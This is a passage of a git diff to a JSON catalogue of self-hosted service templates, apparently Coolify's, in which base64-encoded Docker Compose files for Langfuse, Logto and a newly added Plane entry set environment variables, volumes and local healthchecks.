0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLW5vLXZlcmJvc2UnCiAgICAgICAgLSAnLS10cmllcz0xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAzMC9hcGkvaGVhbHRoJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE3LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLWggbG9jYWxob3N0IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjgnCiAgICBjb21tYW5kOgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAiJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gJy1hJwogICAgICAgIC0gJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDNzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAogIGNsaWNraG91c2U6CiAgICBpbWFnZTogJ2NsaWNraG91c2UvY2xpY2tob3VzZS1zZXJ2ZXI6MjYuMi40LjIzJwogICAgdXNlcjogJzEwMToxMDEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnQ0xJQ0tIT1VTRV9EQj0ke0NMSUNLSE9VU0VfREI6LWRlZmF1bHR9JwogICAgICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9kYXRhOi92YXIvbGliL2NsaWNraG91c2UnCiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfbG9nczovdmFyL2xvZy9jbGlja2hvdXNlLXNlcnZlcicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtLW5vLXZlcmJvc2UgLS10cmllcz0xIC0tc3BpZGVyIGh0dHA6Ly9sb2NhbGhvc3Q6ODEyMy9waW5nIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "ai", "qdrant", @@ -2607,7 +2622,7 @@ "logto": { "documentation": "https://docs.logto.io/docs/tutorials/get-started/#logto-oss-self-hosted?utm_source=coolify.io", "slogan": "A comprehensive identity solution covering both the front and backend, complete with pre-built infrastructure and enterprise-grade solutions.", - "compose": "c2VydmljZXM6CiAgbG9ndG86CiAgICBpbWFnZTogJ3N2aGQvbG9ndG86JHtUQUctbGF0ZXN0fScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICducG0gcnVuIGNsaSBkYiBzZWVkIC0tIC0tc3dlICYmIG5wbSBzdGFydCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MT0dUTwogICAgICAtIFRSVVNUX1BST1hZX0hFQURFUj0xCiAgICAgIC0gJ0RCX1VSTD1wb3N0Z3JlczovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbG9ndG99JwogICAgICAtIEVORFBPSU5UPSRMT0dUT19FTkRQT0lOVAogICAgICAtIEFETUlOX0VORFBPSU5UPSRMT0dUT19BRE1JTl9FTkRQT0lOVAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdleGl0IDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTQtYWxwaW5lJwogICAgdXNlcjogcG9zdGdyZXMKICAgIGVudmlyb25tZW50OgogICAgICBQT1NUR1JFU19VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJyR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIFBPU1RHUkVTX0RCOiAnJHtQT1NUR1JFU19EQjotbG9ndG99JwogICAgdm9sdW1lczoKICAgICAgLSAnbG9ndG8tcG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcGdfaXNyZWFkeQogICAgICAgIC0gJy1VJwogICAgICAgIC0gJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAgIC0gJy1kJwogICAgICAgIC0gJFBPU1RHUkVTX0RCCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbG9ndG86CiAgICBpbWFnZTogJ3N2aGQvbG9ndG86JHtUQUctbGF0ZXN0fScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICducG0gcnVuIGNsaSBkYiBzZWVkIC0tIC0tc3dlICYmIG5wbSBydW4gYWx0ZXJhdGlvbiBkZXBsb3kgbGF0ZXN0ICYmIG5wbSBzdGFydCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MT0dUTwogICAgICAtIFRSVVNUX1BST1hZX0hFQURFUj0xCiAgICAgIC0gJ0RCX1VSTD1wb3N0Z3JlczovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbG9ndG99JwogICAgICAtIEVORFBPSU5UPSRMT0dUT19FTkRQT0lOVAogICAgICAtIEFETUlOX0VORFBPSU5UPSRMT0dUT19BRE1JTl9FTkRQT0lOVAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdleGl0IDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTQtYWxwaW5lJwogICAgdXNlcjogcG9zdGdyZXMKICAgIGVudmlyb25tZW50OgogICAgICBQT1NUR1JFU19VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJyR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIFBPU1RHUkVTX0RCOiAnJHtQT1NUR1JFU19EQjotbG9ndG99JwogICAgdm9sdW1lczoKICAgICAgLSAnbG9ndG8tcG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcGdfaXNyZWFkeQogICAgICAgIC0gJy1VJwogICAgICAgIC0gJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAgIC0gJy1kJwogICAgICAgIC0gJFBPU1RHUkVTX0RCCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "logto", "identity", @@ -3703,6 +3718,28 @@ "minversion": "0.0.0", "port": "80" }, + "plane": { + "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io", + "slogan": "The open source project management tool", + "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LXByb3h5LWVudjoKICBBUFBfRE9NQUlOOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogIEZJTEVfU0laRV9MSU1JVDogJyR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICBCVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICBTSVRFX0FERFJFU1M6ICcke1NJVEVfQUREUkVTUzotOjgwfScKeC1tcS1lbnY6CiAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCngtbGl2ZS1lbnY6CiAgQVBJX0JBU0VfVVJMOiAnJHtBUElfQkFTRV9VUkw6LWh0dHA6Ly9hcGk6ODAwMH0nCiAgTElWRV9TRVJWRVJfU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfTElWRVNFQ1JFVAp4LWFwcC1lbnY6CiAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgREVCVUc6ICcke0RFQlVHOi0wfScKICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICBMSVZFX1NFUlZFUl9TRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9MSVZFU0VDUkVUCnNlcnZpY2VzOgogIHByb3h5OgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtcHJveHk6JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9QTEFORQogICAgICAtICdBUFBfRE9NQUlOPSR7U0VSVklDRV9GUUROX1BMQU5FfScKICAgICAgLSAnU0lURV9BRERSRVNTPTo4MCcKICAgICAgLSAnRklMRV9TSVpFX0xJTUlUPSR7RklMRV9TSVpFX0xJTUlUOi01MjQyODgwfScKICAgICAgLSAnQlVDS0VUX05BTUU9JHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgdm9sdW1lczoKICAgICAgLSAncHJveHlfY29uZmlnOi9jb25maWcnCiAgICAgIC0gJ3Byb3h5X2RhdGE6L2RhdGEnCiAgICBkZXBlbmRzX29uOgogICAgICAtIHdlYgogICAgICAtIGFwaQogICAgICAtIHNwYWNlCiAgICAgIC0gYWRtaW4KICAgICAgLSBsaXZlCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICB3ZWI6CiAgICBpbWFnZTogJ21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLXNwYWNlOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdvcmtlcgogICAgICAtIHdlYgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBhZG1pbjoKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLWFkbWluOiR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBsaXZlOgogICAgaW1hZ2U6ICdtYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4zLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBMSVZFX1NFUlZFUl9TRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9MSVZFU0VDUkVUCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMy4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWFwaS5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc19hcGk6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjMuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZ